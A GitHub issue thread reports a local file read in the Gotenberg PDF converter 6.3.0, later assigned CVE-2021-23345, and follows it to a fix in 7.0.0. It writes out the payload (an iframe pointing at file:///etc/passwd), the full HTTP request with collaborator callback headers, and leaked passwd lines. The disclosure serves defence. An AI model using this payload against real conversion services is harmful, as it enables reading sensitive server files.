

New issue

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Server-Side Request Forgery <iframe src='file:///etc/passwd'> (in version 6.3.0) #261

🔒 Closed etsms opened this issue on Nov 24, 2020 · 8 comments · Fixed by #319

etsms commented on Nov 24, 2020

Expected Behavior

- When attempting to convert html into a PDF using the /html endpoint, gotenberg should throw an exception (respond with a bad request) whenever there is an attempt to convert html with a source (src) reference to an internal system file.
- [HTTP POST] /convert/html
- [BODY] file: index.html >> test blank html <iframe src='file:///etc/passwd'>
- [RESPONSE] 400 Bad Request (request was improperly formed - or something similar)

Current Behavior

- [HTTP POST] /convert/html
- [BODY] file: index.html >> test blank html <iframe src='file:///etc/passwd'>
- [RESPONSE] (contents of the etc/password directory)

- Open the response in a browser.
- Note that the PDF file contains contents of /etc/passwd file.

Request

PrettyRawInActions

1 POST /convert/html HTTP/1.1
2 User-Agent: PostmanRuntime/7.26.8
3 True-client-IP: 9x7e65jbymyvhw04ogpy32in8ee4Ct.pentestcollaborator.com
4 X-Forwarded-For: 9x7e65jbymyvhw04ogpy32in8ee4Ct.pentestcollaborator.com
5 Accept: */*
6 Postman-Token: f1d5ec86-27fa-4bdb-b155-e5cle9f467ef
7 Host: app-7315-qa-eastus-qa-converter-emoney-com.azurewebsites.net
8 Accept-Encoding: gzip, deflate
9 Origin: test.com
10 Connection: close
11 Content-Type: multipart/form-data;
boundary=-----484254696038544595325850
325850
Content-Length: 259
12
13
14
15 Content-Disposition: form-data; name="files";
filename="index.html"
Content-Type: text/html
16
17 test blank html
18 <iframe src='file:///etc/passwd'>
19 -----484254696038544595325850-
20
21

Response

PrettyRawRenderInActions

1 HTTP/1.1 200 OK
2 Content-Length: 30910
3 Content-Type: application/pdf
4 Last-Modified: Tue, 10 Nov 2020 22:43:22 GMT
5 Accept-Ranges: bytes
6 Content-Disposition: attachment;
filename="cdecGyJadBXM28Ey79VFsxX3rtSBXQTn.pdf"
7 Date: Tue, 10 Nov 2020 22:43:22 GMT
8 Connection: close
9
10 PDF-1.4
11 %
12 1 0 obj
13 <</Creator (Chromium)
14 /Producer (Skia/PDF m85)
15 /CreationDate (D:2020110224322400'00')
16 /ModDate (D:2020110224322400'00')>>
17 endobj
18 3 0 obj
19 <</ca 1
20 /BM /Normal>>
21 endobj
22 6 0 obj
23 <</Filter /FlateDecode
24 /Length 594>> stream
25 xDPAU0j1)-We*G*adB6H0U*P(M tIy*_csU0i.0A#(sU0d0:is0-8M0I
E#E8A-Dy6A,00A3w00B*AoANW c#T0 TD 4_ M-Di0A00j/t'gD*G0E
BgA t#U0D c')P0x0K.Dt*-E0 %A5
Af10+QEE0EY)0P0y4i-00C1e#C0000;IQH0*q"CDG3i:*d0wy0u
07IY)000au0(00Aty0=(633L,800U)ATY 00ph0E000>^>,q*V ZE
>k0Z00 Mxz20[0:VH)' U"eif(00I-("r;ae
0PA-0w)huc'0]iAs*0K14;vAm00p:n0YpY00d00A0e*0.*zy*H0=22
05)FS cuU-uX <) 0D + 0Q0R07ky-Mf00p-4W0
k1L0A0tuyex70.000A0F_(:Du0e100W:E:(u#00c=4E1S0000(0>A0
0=00e# 3T00000000*Amou0000400A0uy00g-000h1xr0010h001h
eVAn00m007bR0P0;0EVegin--E00(0e<[00*SBry0y

File | C:/Users/Amulya%20Chauhan/Downloads/cdecGyJadBXM28Ey79VFsxX3rtSBXQTn.pdf



test blank html

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/s
bin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/s
bin/nologin
man:x:6:12:man:/var/cache/man:/usr/s
bin/nologin
```

Context

- We'd like to hide information about the server and not allow attackers to steal sensitive data

Your Environment

- Azure
- Linux Container
- OS version: Unix 4.15.0.112
- 64 bit system: True
- 64 bit process: True
- Processor count: 1

gulien commented on Nov 25, 2020

Collaborator

Hello @etsms,

Thanks for this well-written issue!

It's already on my TODO list 🙌 AFAIK, it would be possible to check each requests done by Google Chrome and prevent loading "unsafe" ones.

etsms commented on Nov 25, 2020

Author

@gulien - great to hear! Thanks for the update. Looking forward to testing again.

etsms commented on Dec 1, 2020

Author

@gulien - Question for ya... Our security team is wondering about a timeline for this patch. Do you or the gotenberg team have a timeline for this?

gulien commented on Dec 2, 2020

Collaborator

No because I'm mostly working on Gotenberg on my free time so..

Anyway, Gotenberg should always be called from a trusted source 🤖



serge-melis commented on Jan 13, 2021

Is this not mitigated by the fact that, that the process runs inside of the docker container? Which has no access to anything outside of the container?

Zettersten commented on Jan 13, 2021

@serge-melis yes exactly. I had to prove to our security teams that it lives in a container and is short-lived. I was able to reduce the criticality of the finding by communicating that much. However, it'll stay a vulnerability until the software is patched (or updated) with a feature to disable local file navigation in the chrome driver (eg. no access to the etc/passwords path). So that's good news. As @gulien said earlier, its not (should not) publicly accessible and the client/requesters should be known and authorized.

So the risk is pretty low at this point.

BUT - a savvy hacker may find away around those other controls and ultimately pull/read sensitive information from the container. Hypothetical.... but this is the way security folks think. I'm certainly not a hacker pro.



NoRelect mentioned this issue on Mar 1, 2021

local file inclusion via /convert/url remoteURL endpoint #283

🔒 Closed

abergmann commented on Mar 2, 2021

CVE-2021-23345 was assigned to this issue.

yumauri commented on Mar 11, 2021 • edited

Wow, that's an interesting one :)

If Chrome doesn't support such filtering out of the box, I think it could be done using some sort of proxy for Chrome. Like [Privoxy](#), for example. But I don't know, does Chrome use proxy settings for file protocol?

gulien mentioned this issue on Aug 22, 2021

7.0.0 #319

🔗 Merged

gulien closed this as completed in #319 on Aug 22, 2021

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging a pull request may close this issue.

🔗 7.0.0
gotenberg/gotenberg

6 participants

